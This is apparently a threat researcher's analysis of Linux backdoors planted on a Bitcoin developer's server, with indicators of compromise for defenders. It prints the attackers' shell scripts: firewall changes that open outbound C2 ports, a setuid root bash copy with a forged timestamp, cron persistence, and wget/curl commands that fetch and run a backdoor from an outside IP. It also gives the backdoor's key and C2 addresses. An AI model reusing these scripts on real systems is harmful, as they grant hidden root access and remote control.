Multiple Linux Backdoors Discovered Targeting Bitcoin Core Developer — Technical Analysis

Multiple Linux Backdoors Discovered Targeting Bitcoin Core Developer — Technical Analysis
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Multiple Linux Backdoors Discovered Targeting Bitcoin Core Developer — Technical Analysis

Photo by Matthew Ball on Unsplash Context

First and foremost, I would like to express my gratitude to Luke, one of the Core Bitcoin developers, for sharing with me the information he uncovered on his compromised Linux server.

Luke’s, Linux server was targeted in an attack that was quite unfamiliar. This prompted me to reach out to Luke immediately after I heard the news. After investigating, Luke determined that the attack was originating from direct physical access to his server, resulting in a boot into an unknown external device:

https://bitcoinhackers.org/@lukedashjr/109379613510993363

The server in question is hosted by a hosting company known as X. No additional information was provided, but the following is a summary of the events, as reported by Luke, from the point of compromise to the triage of malware:

https://bitcoinhackers.org/@lukedashjr/109359271504680389 https://bitcoinhackers.org/@lukedashjr/109359845142332847 https://bitcoinhackers.org/@lukedashjr/109361478324427714 Great job to Luke for being able to promptly investigate the malware and sharing it with the community for further analysis.

Now things got a little bit more serious in the 1st January 2023, Luke suspected that his PGP keys were compromised and his BTC stolen:

https://twitter.com/LukeDashjr/status/1609613748364509184

right after that Luke warned the community to be careful downloading Bitcoin Knots and Core since the PGP keys were compromised:

https://twitter.com/LukeDashjr/status/1609763079423655938 Note: So far there were no signs of Bitcoin Knots supply chain attacks or infections reported by the Bitcoin community.

Luke Bitcoin was allegedly stolen, nearly 200BTC valued at $ 3.6 million at the time of the compromise. It is still unclear how the attackers jumped from Luke server, to Luke Workstation (or vice versa).

Luke confirmed that his Workstation was likely compromised,

Luke sent me direct message, and shared with me files he suspects related to the initial compromise of his Linux server. Below is the analysis of these files.

Technical Analysis

The backdoors and tools observed are part of a cluster of activity we will refer to it as UNC1142 (see this blog post for an in-depth description of “UNC” groups).

UNC1142 observed tooling:

DARKSABER: a slightly modified variant of TinyShell a lightweight client and acts as backdoor providing remote shell execution as well as file transfers.

SHADOWSTRIKE: a linux-platform TCP reverse shell written in Perl based of an opensource Perl reverse shell script.

NIGHTRAVEN: Installer of DARKSABER and SHADOWSTRIKE and their dependencies, modifies the server configuration and installs a setuid bash shell allowing privilege escalation to root.

Establish Foothold and Maintain Persistence

Based on the location of the backdoors on the file system, it is likely that UNC1142 was able to gain sudo or root privileges on the affected host. This aligns with the external media boot attack vector described by Luke, as the attacker can mount the file system and copy any file to any location when booting from external media.

Below are the added/modified files related to this attack:

/etc/cron.hourly/0ntpupdate (added)/etc/init.d/rc.local (modified)/etc/cron.weekly/logrotate (added)/etc/cron.daily/logrotate (added)/usr/sbin/pbd (added)/root/.ssh/authorized_keys (modified)/usr/libexec/dbus-1/dbus-daemon-launch (added or modified)/usr/sbin/nptupdate (added)/usr/sbin/logstatus (added) UNC1142 tooling analysis: SHADOWSTRIKE

SHADOWSTRIKE is a linux-platform TCP reverse shell written in Perl based of an opensource Perl reverse shell script. It was configured to communicate to the following C2 server: 80.85.155.34 , on two specific ports: 27032 then 2475.

It has an option to set the process name of the session, in this attack the operators set the process name to rsyslogd

SHADOWSTRIKE process name

SHADOWSTRIKE was found at the following path in the compromised server:

/usr/sbin/pbd DARKSABER

After reversing this binary, it shares the exact code base as TinyShell with some very minor modifications.

DARKSABER provides an operator with shell access to the infected server, with restricted capabilities such as uploading and downloading files. What is noteworthy about this backdoor is that it is extremely difficult to alter or gain control over it (in the event of a sinkhole) without knowledge of a secret key that is used to authenticate and encrypt client-server communications using AES-CBC-128 encryption (the verification happens for every sent/received packet)

The secret key utilized in the recovered binary was set to “Fuckyou1”

disassembly DARKSABER

The client challenge was left unchanged and corresponds to the opensource version of the tool:

unsigned char challenge[16] = /* version-specific */"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" \ "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; DARKSABER challenge keys

DARKSABER at launch will automatically try to connect to its C2 server hosted at ip: 8.6.8.62 on port 8443

DARKSABER disassembly showing c2 configuation DARKSABER persistence: DARKSABER delivery

DARKSABER is downloaded and installed by NIGHTRAVEN and is replicated in various locations within the file system with file names that appear to be legitimate programs:

/usr/sbin/logstatus/usr/sbin/nptupdate

In the compromised server there was the following entry in /etc/cron.daily/logrotate allowing the execution of DARKSABER on a daily basis:

#!/bin/shlogcount=ps aux|grep -v pts|grep -v grep|grep root|grep -E '/bin/bash'|wc -lif [ $logcount == 0 ];then /usr/sbin/logstatusfitest -x /usr/sbin/logrotate || exit 0/usr/sbin/logrotate /etc/logrotate.conf

TINYSHELL based backdoors like DARKSABER were used by multiple threat groups ranging from APTs like APT31 , PassCV, ChamelGang or UNC groups like: UNC1945 or UNC2891 and numerous targeted attacks since 2012.

Finally, it is worth mentioning that TINYSHELL-based backdoor infections are often linked to rootkit infections. A notable example is the CAKETAP malware reported in UNC2891, which was used to conceal network connections related to TINYSHELL.

It remains uncertain if Luke’s server was infected with a rootkit, but it is a possibility that should be investigated. NIGHTRAVEN

NIGHTRAVEN is an installation script that was found at the following location:

/etc/cron.hourly/0ntpupdate

At launch NIGHTRAVEN looks for SHADOWSTRIKE location usually in /usr/sbin/pbd, and parse it to determine the c2 communication port configured by the operator. Once determined, NIGHTRAVEN changes the firewall rules to allow outbound traffic to the configured SHADOWSTRIKE c2 port:

pbdport=cat /usr/sbin/pbd |grep 'port = '|grep -P '\d+' -oif [ -f /usr/bin/firewall-cmd ];then firewalldcount=$(cat /etc/firewalld/direct.xml|grep $pbdport|wc -l) if [ $firewalldcount == 0 ];then firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 0 -m state --state ESTABLISHED,RELATED -j ACCEPT firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --dport 80 -j ACCEPT firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --dport 443 -j ACCEPT firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --dport 8443 -j ACCEPT firewall-cmd --permanent --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --dport $pbdport -j ACCEPTfirewall-cmd --reload fifiif [ -f /usr/sbin/iptables -o -f /sbin/iptables ];then iptablescount=$(cat /etc/sysconfig/iptables|grep $pbdport|wc -l) if [ $iptablescount == 0 ];then iptables -I OUTPUT -p tcp --dport 80 -j ACCEPT iptables -I OUTPUT -p tcp --dport 443 -j ACCEPT iptables -I OUTPUT -p tcp --dport 8443 -j ACCEPT iptables -I OUTPUT -p tcp --dport $pbdport -j ACCEPT service iptables save fifiif [ -f /usr/sbin/ufw ];then ufw default allow outgoing ufw reloadfi a seen above, a rule for the port 8443 is also set, as it is the port used by DARKSABER

After changing firewall rules, NIGHTRAVEN copies bash binary into /usr/libexec/dbus-1/dbus-daemon-launch, set the file’s time same as /bin/bash and sets setuid bit to it (root):

cp /bin/bash /usr/libexec/dbus-1/dbus-daemon-launch touch -r /bin/bash /usr/libexec/dbus-1/dbus-daemon-launch chmod 4755 /usr/libexec/dbus-1/dbus-daemon-launch This will allow a quick privilege escalation to root by any non-root user in the server. The alteration of the time stamp will make it challenging to identify when the file was last modified, making it a useful strategy for evading suspicion.”

Then installs Perl in the system and runs SHADOWSTRIKE.

Finally, NIGHTRAVEN downloads a copy of DARKSABER from the server: 45.14.224.223 and place it in the following location /usr/sbin/nptupdate

perl /usr/sbin/pbd &npt=/usr/sbin/nptupdateurl=45.14.224.223/systemdif [ -f /usr/bin/wget ];then wget -t 3 -T 25 $url -O $npt chmod +x $npt else curl --max-time 25 --retry 3 -o $npt $url chmod +x $nptfi

A code snippet copy of NIGHTRAVEN was found at the following path /etc/cron.weekly/logrotate and it is reponsible to download DARKSABER as well but this time executing it:

#!/bin/shnpt=/usr/sbin/nptupdateurl=45.14.224.223/systemdif [ -f /usr/bin/wget ];then wget -t 3 -T 25 $url -O $npt chmod +x $npt else curl --max-time 25 --retry 3 -o $npt $url chmod +x $nptfi/usr/sbin/nptupdaterm -rf /usr/sbin/nptupdate

NIGHTRAVEN is launched from /etc/init.d/rc.local, UNC1142 tampered with this file and added an entry to execute NIGHTRAVEN installation script. /etc/init.d/rc.local is a superuser startup script, and runs after each boot right after normal services are started, allowing NIGHTRAVEN to persist and execute after each reboot.

Conclusion:

UNC1142 used an uncommon and previously unseen attack vector, by booting Luke’s server from external media and infecting it with backdoors.

From there, the attackers were able to remotely control the server through the various access points they had established. The information provided in this blog post does not encompass the entire scope of this attack, but rather presents some initial findings in an effort to shed light on what occurred on Luke’s servers and raise awareness of how things transpire when targeted by advanced threat actors.

Indicators of Compromise File SHA-256 hashes NIGHTRAVEN 802e6e0ecf1af2e85a732b5c38b4ee1a490fb1e4c468b4dff1805d8a0ad05f7e DARKSABER 5252128f60c2485784310d32d8a5b4a7f172c89b1d280a33f53abd1011a1645d SHADOWSTRIKE 9028e379ec23c1e52f209143e2f740c8678fcbf3d03599439eca3fdd833f263d SHADOWSTRIKE 873df01c63a60cf9456c1446c2f69174e848d55936faaf7360dd47fd2c616829 C2 Hosts IP addresses:ports 80.85.155.34:27032 (SHADOWSTRIKE C2)80.85.155.34:2475 (SHADOWSTRIKE C2)45.14.224.223 (NIGHTRAVEN)8.6.8.62:8443 (DARKSABER C2)